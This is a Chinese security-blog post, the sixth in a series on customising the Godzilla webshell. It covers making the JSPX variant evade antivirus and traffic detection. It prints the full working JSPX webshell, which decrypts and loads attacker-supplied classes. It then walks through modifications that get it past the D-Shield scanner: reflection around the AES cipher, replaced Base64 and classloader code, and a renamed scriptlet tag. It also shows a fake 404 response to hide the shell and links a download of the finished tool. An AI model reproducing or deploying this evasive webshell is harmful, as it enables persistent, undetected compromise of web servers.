哥斯拉二开从0到1-6(jspx免杀)

admin 2025年2月9日01:04:13评论7 views字数 6601阅读22分0秒阅读模式
前言

上面的文章做了动态的免杀,以及基于时间的密钥动态处理,计划中做一下其他语言的免杀及流量修改,本篇文章做一下jspx流量修改及免杀。

jspx简介

JSPX (JavaServer Pages XML) 是一种基于 XML 语法的 JSP(JavaServer Pages)格式。它将 JSP 与 XML 的严格语法规则结合,确保页面中的所有标签都符合 XML 的结构要求。通过使用 JSPX,开发人员可以得到一个符合 XML 规范的页面,这在某些情况下非常重要,例如处理 XML 数据或需要与其他 XML 系统进行集成时。JSPX 就是 JSP 的 XML 版本,主要区别在于 XML 的严格语法要求。

看起来是aspx和asmx的关系差不多。就是XML版本的。

jspx免杀

我们先来看一下Godzilla的jspx生成原版木马

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration> String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); classXextendsClassLoader{publicX(ClassLoader z){super(z);}public Class Q(byte[] cb){returnsuper.defineClass(cb, 0, cb.length);} }publicbyte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,newjavax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){returnnull; }} publicstatic String md5(String s) {Stringret=null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = newjava.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } publicstatic String base64Encode(byte[] bs)throws Exception {Class base64;Stringvalue=null;try {base64=Class.forName("java.util.Base64");ObjectEncoder= base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", newClass[] { byte[].class }).invoke(Encoder, newObject[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); ObjectEncoder= base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", newClass[] { byte[].class }).invoke(Encoder, newObject[] { bs });} catch (Exception e2) {}}return value; } publicstaticbyte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Objectdecoder= base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", newClass[] { String.class }).invoke(decoder, newObject[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Objectdecoder= base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", newClass[] { String.class }).invoke(decoder, newObject[] { bs });} catch (Exception e2) {}}return value; }</jsp:declaration><jsp:scriptlet>try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",newX(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=newjava.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}</jsp:scriptlet></jsp:root>

也是非常的长,其中非常长的就是base64的编解码,做了很多判断。

简单看下代码会发现其实和jsp代码大差不差。几乎一样,除了格式有点偏差,那么我们做免杀就可以照着以前写的文章去修改了。

哥斯拉二开从0到1-6(jspx免杀)
使用原版的godzilla中,我们会发现,加密器并有jspx的,这里直接使用java的就行,用起来一样。

简单先用d盾fuzz一下,还是发现aes加密处做了检测,

javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s);

就是这一句,我们对这个进行简单修改

String xo = "javax.crypto.Cipher";        Class cl = Class.forName(xo);        java.lang.reflect.Method g = cl.getMethod("getInstance",String.class);        Object c = cl.cast(g.invoke((null),"AES"));        cl.getMethod("init",int.class,java.security.Key.class).invoke(c,m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));         java.lang.reflect.Method douyin = cl.getMethod("doFinal", byte[].class);        return (byte[]) douyin.invoke(c, (Object) s);
哥斯拉二开从0到1-6(jspx免杀)
当然,这个时候还是有问题的,就是加载base64编解码那里。文章3免杀的时候已经提到过了,笔者这里直接把jsp的拿过来。

public staticStringbase64Encode(byte[] webray) throws Exception {try {            java.util.Base64.Encoder leadsec = java.util.Base64.getEncoder();return leadsec.encodeToString(webray);        } catch (Exception e) {returnnull;}    }public static byte[] base64Decode(String bs) throws Exception {try {            java.util.Base64.Decoder nsfocus = java.util.Base64.getDecoder();return nsfocus.decode(bs);        } catch (Exception e) {returnnull;}    }classhuaweiextendsClassLoader {        public huawei(ClassLoader sina) {super(sina);        }       public ClassQ(byte[] bytedance) {try {returnsuper.defineClass(null, bytedance, 0, bytedance.length);    } catch (ClassFormatError e) {returnnull;}}}

然后就是用于获取当前类的类加载器this.getClass().getClassLoader()这个语句d盾也杀,我们给他换掉ClassLoader.getSystemClassLoader()这样就降级了

哥斯拉二开从0到1-6(jspx免杀)

2级,经过笔者在fuzz,Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);

问题出现在.newInstance();

但是在哥斯拉二开从0到1-2免杀的文章中,笔者测试的jsp免杀,并没有对这一点进行查杀。所以肯定还是哪里有问题出现在下面最后一段里。因为jsp和jspx的木马都差不多,

<jsp:scriptlet>try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}</jsp:scriptlet>

这里.newInstance();如果没问题,大概率是<jsp:scriptlet>这种声明有问题了。

参考大师傅文章https://yzddmr6.com/posts/jsp-webshell-upload-bypass/ 可以发现,其中jsp:scriptlet可以将jsp换掉的。换成任意字符都可以。这里也可以怀疑是d盾检测了jsp字符串,确实挺可疑的。

哥斯拉二开从0到1-6(jspx免杀)
这样就过掉d盾了。接下来再将其他的细节优化一下。没用的空格,字符串去掉即可。

好的,用一点时间,把木马放到模板里。

哥斯拉二开从0到1-6(jspx免杀)

编译打包,

哥斯拉二开从0到1-6(jspx免杀)
大家记得使用的时候选这个jspx的

哥斯拉二开从0到1-6(jspx免杀)

选择jspx的。照例生成三个

哥斯拉二开从0到1-6(jspx免杀)

传上去 访问一下

哥斯拉二开从0到1-6(jspx免杀)

这里笔者也做了404的🐎,这个404显示正常的,文件存在的。

火狐

哥斯拉二开从0到1-6(jspx免杀)
tomcat 如果不存在的文件,返回应该是下面这样的

哥斯拉二开从0到1-6(jspx免杀)

大家连接的时候选择JAVA_AES_BASE64_DATA_JSPX

哥斯拉二开从0到1-6(jspx免杀)
哥斯拉二开从0到1-6(jspx免杀)
哥斯拉二开从0到1-6(jspx免杀)
看下流量,也没啥问题,返回码是404。LF/IpkPvM0iJI4wmpBs2DaoBVvcbDMpwuL7nYS3n/k4=

大家看到这个是不是很熟悉,这个是大家用了默认key加密得来的test结果。很容易被识别。建议大家在使用的时候千万不要使用默认pass和key。

哥斯拉二开从0到1-6(jspx免杀)
哥斯拉二开从0到1-6(jspx免杀)

好,再看一下微步,也没啥问题。其他的就不测了。这样jspx的也改完了。

总结

本文对godzilla中jspx木马进行免杀,及流量修改进行简单免杀,将免杀木马封装到godzilla中,使用模板进行免杀,达到每次生成的木马都不相同。

下个版本

1.1版本添加木马的免杀,全语言都做好了,但是并没有改流量以及加密方式,只是做了伪装。

1.2版本做了动态密钥。

1.3版本做了左右动态添加数据,

1.4版本做了asmx动态免杀及流量修改。

1.5版本做了jspx动态免杀及流量修改。

后面需要做的:修改一下加密方式,这样的话会更好一点。还有就是data其实是固定的,希望能让他动起来。

下载、使用

什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。https://github.com/Bohemiana/godzilla_erkai

致谢

最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。如果您感觉文章写的不错或者工具用起来还行,帮笔者点点stars、给公众号点点关注,先谢谢大家了。

参考
https://github.com/BeichenDream/Godzilla            原版哥斯拉https://zone.huoxian.cn/d/1229-jspwebshell  JSPwebshell免杀一些技巧https://yzddmr6.com/posts/jsp-webshell-upload-bypass/ 星球问答:一次jsp上传绕过的思考

emmm 太菜了一直在路上

原文始发于微信公众号(Cloud Security lab):哥斯拉二开从0到1-6(jspx免杀)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月9日01:04:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   哥斯拉二开从0到1-6(jspx免杀)http://cn-sec.com/archives/3715506.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息